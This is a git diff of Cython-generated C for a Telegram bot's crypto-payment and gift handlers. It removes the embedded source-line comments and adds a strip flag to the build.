NULL; @@ -12908,13 +11396,6 @@ if (!__Pyx_RefNanny) { if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_choosing_amount_crypto, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":34 - * class ReplenishBalanceState(StatesGroup): - * choosing_amount_crypto = State() - * waiting_for_payment_confirmation_crypto = State() # <<<<<<<<<<<<<< - * entering_custom_amount_crypto = State() - * - */ __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; @@ -12942,13 +11423,6 @@ if (!__Pyx_RefNanny) { if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_2) < 0) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":35 - * choosing_amount_crypto = State() - * waiting_for_payment_confirmation_crypto = State() - * entering_custom_amount_crypto = State() # <<<<<<<<<<<<<< - * - * - */ __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; @@ -12976,13 +11450,6 @@ if (!__Pyx_RefNanny) { if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_entering_custom_amount_crypto, __pyx_t_2) < 0) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":32 - * - * - * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< - * choosing_amount_crypto = State() - * waiting_for_payment_confirmation_crypto = State() - */ __pyx_t_2 = __Pyx_Py3ClassCreate(__pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_t_6, __pyx_t_5, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_2) < 0) __PYX_ERR(0, 32, __pyx_L1_error) @@ -12991,13 +11458,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/cryprobot_pay.py":38 - * - * - * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< - * async def process_callback_pay_cryptobot( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) @@ -13030,13 +11490,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_cryptobot, __pyx_t_6) < 0) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/cryprobot_pay.py":89 - * - * - * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 89, __pyx_L1_error) @@ -13072,49 +11525,21 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_5) < 0) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/cryprobot_pay.py":136 - * - * - * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< - * try: - * if not check_hash(request): - */ __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_7cryptobot_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_cryptobot_webhook, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__19)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (PyDict_SetItem(__pyx_d, __pyx_n_s_cryptobot_webhook, __pyx_t_5) < 0) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/cryprobot_pay.py":159 - * - * - * async def check_hash(request): # <<<<<<<<<<<<<< - * body_text = await request.text() - * crypto_pay_signature = request.headers.get( - */ __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_10check_hash, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_check_hash, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__23)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_hash, __pyx_t_5) < 0) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/cryprobot_pay.py":169 - * - * - * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< - * if payload["status"] == "paid": - * custom_payload = payload["payload"] - */ __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_13process_crypto_payment, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_crypto_payment, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__25)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 169, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_crypto_payment, __pyx_t_5) < 0) __PYX_ERR(0, 169, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/cryprobot_pay.py":186 - * - * - * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 186, __pyx_L1_error) @@ -13146,13 +11571,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_5) < 0) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/cryprobot_pay.py":201 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L1_error) @@ -13182,11 +11600,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_6) < 0) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/cryprobot_pay.py":1 - * from typing import Any # <<<<<<<<<<<<<< - * - * from aiocryptopay import AioCryptoPay, Networks - */ __pyx_t_6 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_6) < 0) __PYX_ERR(0, 1, __pyx_L1_error) diff --git a/handlers/payments/cryprobot_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/cryprobot_pay.cpython-312-x86_64-linux-gnu.so index 73b89dcd..d88ce0de 100755 Binary files a/handlers/payments/cryprobot_pay.cpython-312-x86_64-linux-gnu.so and b/handlers/payments/cryprobot_pay.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/gift.c b/handlers/payments/gift.c index be5b76dd..34f376b6 100644 --- a/handlers/payments/gift.c +++ b/handlers/payments/gift.c @@ -7,6 +7,9 @@ "-O2", "-static-libgcc" ], + "extra_link_args": [ + "-s" + ], "name": "handlers.payments.gift", "sources": [ "handlers/payments/gift.py" @@ -1509,13 +1512,6 @@ struct __pyx_defaults { PyObject *__pyx_arg_current_page; }; -/* "handlers/payments/gift.py":29 - * - * - * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< - * async def start_menu_handler(callback_query: types.CallbackQuery): - * """ 'gifts'. ' ' ' ', .""" - */ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler { PyObject_HEAD PyObject *__pyx_v_builder; @@ -1530,13 +1526,6 @@ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handle }; -/* "handlers/payments/gift.py":60 - * - * - * @router.callback_query(F.data.startswith("my_gifts")) # <<<<<<<<<<<<<< - * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any, current_page: int = 0): - * """ ' '. .""" - */ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler { PyObject_HEAD PyObject *__pyx_v_builder; @@ -1560,13 +1549,6 @@ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler }; -/* "handlers/payments/gift.py":124 - * - * - * @router.callback_query(F.data.startswith("delete_gift|")) # <<<<<<<<<<<<<< - * async def delete_gift_handler(callback_query: types.CallbackQuery, session: Any): - * """ .""" - */ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler { PyObject_HEAD PyObject *__pyx_v_callback_query; @@ -1577,13 +1559,6 @@ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_hand }; -/* "handlers/payments/gift.py":139 - * - * - * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< - * async def gift_subscription_handler(callback_query: types.CallbackQuery): - * """ ''. .""" - */ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler { PyObject_HEAD PyObject *__pyx_v_builder; @@ -1593,13 +1568,6 @@ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscriptio }; -/* "handlers/payments/gift.py":159 - * - * - * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< - * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): - * """ .""" - */ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler { PyObject_HEAD PyObject *__pyx_v_balance; @@ -1612,13 +1580,6 @@ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_han }; -/* "handlers/payments/gift.py":199 - * - * - * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< - * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): - * """ .""" - */ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_handler { PyObject_HEAD PyObject *__pyx_v_builder; @@ -1644,13 +1605,6 @@ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_finalize_gift_ha }; -/* "handlers/payments/gift.py":271 - * return None - * - * async def validate_client_code(): # <<<<<<<<<<<<<< - * """ - * hardware ID . - */ struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_6_validate_client_code { PyObject_HEAD PyObject *__pyx_v_data; @@ -4122,13 +4076,6 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { /* #### Code section: module_code ### */ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/gift.py":29 - * - * - * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< - * async def start_menu_handler(callback_query: types.CallbackQuery): - * """ 'gifts'. ' ' ' ', .""" - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_4gift_1start_menu_handler(PyObject *__pyx_self, @@ -4298,13 +4245,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 29, __pyx_L1_error) - /* "handlers/payments/gift.py":33 - * """ 'gifts'. ' ' ' ', .""" - * - * is_valid = await validate_client_code() # <<<<<<<<<<<<<< - * if not is_valid: - * logger.error(" , @solonet_sup.") - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_validate_client_code); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; @@ -4351,24 +4291,10 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __pyx_cur_scope->__pyx_v_is_valid = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/gift.py":34 - * - * is_valid = await validate_client_code() - * if not is_valid: # <<<<<<<<<<<<<< - * logger.error(" , @solonet_sup.") - * return - */ __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_is_valid); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 34, __pyx_L1_error) __pyx_t_6 = (!__pyx_t_5); if (__pyx_t_6) { - /* "handlers/payments/gift.py":35 - * is_valid = await validate_client_code() - * if not is_valid: - * logger.error(" , @solonet_sup.") # <<<<<<<<<<<<<< - * return - * - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 35, __pyx_L1_error) @@ -4398,33 +4324,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/gift.py":36 - * if not is_valid: - * logger.error(" , @solonet_sup.") - * return # <<<<<<<<<<<<<< - * - * builder = InlineKeyboardBuilder() - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/gift.py":34 - * - * is_valid = await validate_client_code() - * if not is_valid: # <<<<<<<<<<<<<< - * logger.error(" , @solonet_sup.") - * return - */ } - /* "handlers/payments/gift.py":38 - * return - * - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * - * builder.row(types.InlineKeyboardButton(text=GIFT, callback_data="gift")) - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; @@ -4453,13 +4358,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/gift.py":40 - * builder = InlineKeyboardBuilder() - * - * builder.row(types.InlineKeyboardButton(text=GIFT, callback_data="gift")) # <<<<<<<<<<<<<< - * builder.row(types.InlineKeyboardButton(text=MY_GIFTS, callback_data="my_gifts")) - * builder.row(types.InlineKeyboardButton(text=PROFILE, callback_data="profile")) - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) @@ -4503,13 +4401,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/gift.py":41 - * - * builder.row(types.InlineKeyboardButton(text=GIFT, callback_data="gift")) - * builder.row(types.InlineKeyboardButton(text=MY_GIFTS, callback_data="my_gifts")) # <<<<<<<<<<<<<< - * builder.row(types.InlineKeyboardButton(text=PROFILE, callback_data="profile")) - * - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_types); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 41, __pyx_L1_error) @@ -4553,13 +4444,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/gift.py":42 - * builder.row(types.InlineKeyboardButton(text=GIFT, callback_data="gift")) - * builder.row(types.InlineKeyboardButton(text=MY_GIFTS, callback_data="my_gifts")) - * builder.row(types.InlineKeyboardButton(text=PROFILE, callback_data="profile")) # <<<<<<<<<<<<<< - * - * image_path = os.path.join("img", "gifts.jpg") - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_types); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 42, __pyx_L1_error) @@ -4603,13 +4487,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/gift.py":44 - * builder.row(types.InlineKeyboardButton(text=PROFILE, callback_data="profile")) - * - * image_path = os.path.join("img", "gifts.jpg") # <<<<<<<<<<<<<< - * - * if os.path.isfile(image_path): - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_os); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_path); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 44, __pyx_L1_error) @@ -4625,13 +4502,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __pyx_cur_scope->__pyx_v_image_path = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/gift.py":46 - * image_path = os.path.join("img", "gifts.jpg") - * - * if os.path.isfile(image_path): # <<<<<<<<<<<<<< - * with open(image_path, "rb") as image_file: - * await callback_query.message.answer_photo( - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_os); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_path); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) @@ -4666,13 +4536,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_6) { - /* "handlers/payments/gift.py":47 - * - * if os.path.isfile(image_path): - * with open(image_path, "rb") as image_file: # <<<<<<<<<<<<<< - * await callback_query.message.answer_photo( - * photo=BufferedInputFile(image_file.read(), filename="gifts.jpg"), - */ /*with:*/ { __pyx_t_3 = PyTuple_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); @@ -4725,26 +4588,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __pyx_cur_scope->__pyx_v_image_file = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/gift.py":48 - * if os.path.isfile(image_path): - * with open(image_path, "rb") as image_file: - * await callback_query.message.answer_photo( # <<<<<<<<<<<<<< - * photo=BufferedInputFile(image_file.read(), filename="gifts.jpg"), - * caption=GIFTS_ABOUT, - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 48, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer_photo); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 48, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":49 - * with open(image_path, "rb") as image_file: - * await callback_query.message.answer_photo( - * photo=BufferedInputFile(image_file.read(), filename="gifts.jpg"), # <<<<<<<<<<<<<< - * caption=GIFTS_ABOUT, - * reply_markup=builder.as_markup(), - */ __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 49, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_BufferedInputFile); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 49, __pyx_L11_error) @@ -4789,25 +4638,11 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_photo, __pyx_t_13) < 0) __PYX_ERR(0, 49, __pyx_L11_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - /* "handlers/payments/gift.py":50 - * await callback_query.message.answer_photo( - * photo=BufferedInputFile(image_file.read(), filename="gifts.jpg"), - * caption=GIFTS_ABOUT, # <<<<<<<<<<<<<< - * reply_markup=builder.as_markup(), - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_GIFTS_ABOUT); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 50, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_13); if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_caption, __pyx_t_13) < 0) __PYX_ERR(0, 49, __pyx_L11_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - /* "handlers/payments/gift.py":51 - * photo=BufferedInputFile(image_file.read(), filename="gifts.jpg"), - * caption=GIFTS_ABOUT, - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * else: - */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 51, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; @@ -4835,13 +4670,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_13) < 0) __PYX_ERR(0, 49, __pyx_L11_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - /* "handlers/payments/gift.py":48 - * if os.path.isfile(image_path): - * with open(image_path, "rb") as image_file: - * await callback_query.message.answer_photo( # <<<<<<<<<<<<<< - * photo=BufferedInputFile(image_file.read(), filename="gifts.jpg"), - * caption=GIFTS_ABOUT, - */ __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 48, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -4886,13 +4714,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb } } - /* "handlers/payments/gift.py":47 - * - * if os.path.isfile(image_path): - * with open(image_path, "rb") as image_file: # <<<<<<<<<<<<<< - * await callback_query.message.answer_photo( - * photo=BufferedInputFile(image_file.read(), filename="gifts.jpg"), - */ } __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -4969,23 +4790,9 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __pyx_L21:; } - /* "handlers/payments/gift.py":46 - * image_path = os.path.join("img", "gifts.jpg") - * - * if os.path.isfile(image_path): # <<<<<<<<<<<<<< - * with open(image_path, "rb") as image_file: - * await callback_query.message.answer_photo( - */ goto __pyx_L6; } - /* "handlers/payments/gift.py":54 - * ) - * else: - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=GIFTS_ABOUT, - * reply_markup=builder.as_markup(), - */ /*else*/ { __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); @@ -4993,13 +4800,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/gift.py":55 - * else: - * await callback_query.message.answer( - * text=GIFTS_ABOUT, # <<<<<<<<<<<<<< - * reply_markup=builder.as_markup(), - * ) - */ __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_GIFTS_ABOUT); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 55, __pyx_L1_error) @@ -5007,13 +4807,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - /* "handlers/payments/gift.py":56 - * await callback_query.message.answer( - * text=GIFTS_ABOUT, - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * - */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; @@ -5041,13 +4834,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_13) < 0) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - /* "handlers/payments/gift.py":54 - * ) - * else: - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=GIFTS_ABOUT, - * reply_markup=builder.as_markup(), - */ __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -5075,13 +4861,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __pyx_L6:; CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/gift.py":29 - * - * - * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< - * async def start_menu_handler(callback_query: types.CallbackQuery): - * """ 'gifts'. ' ' ' ', .""" - */ /* function exit code */ 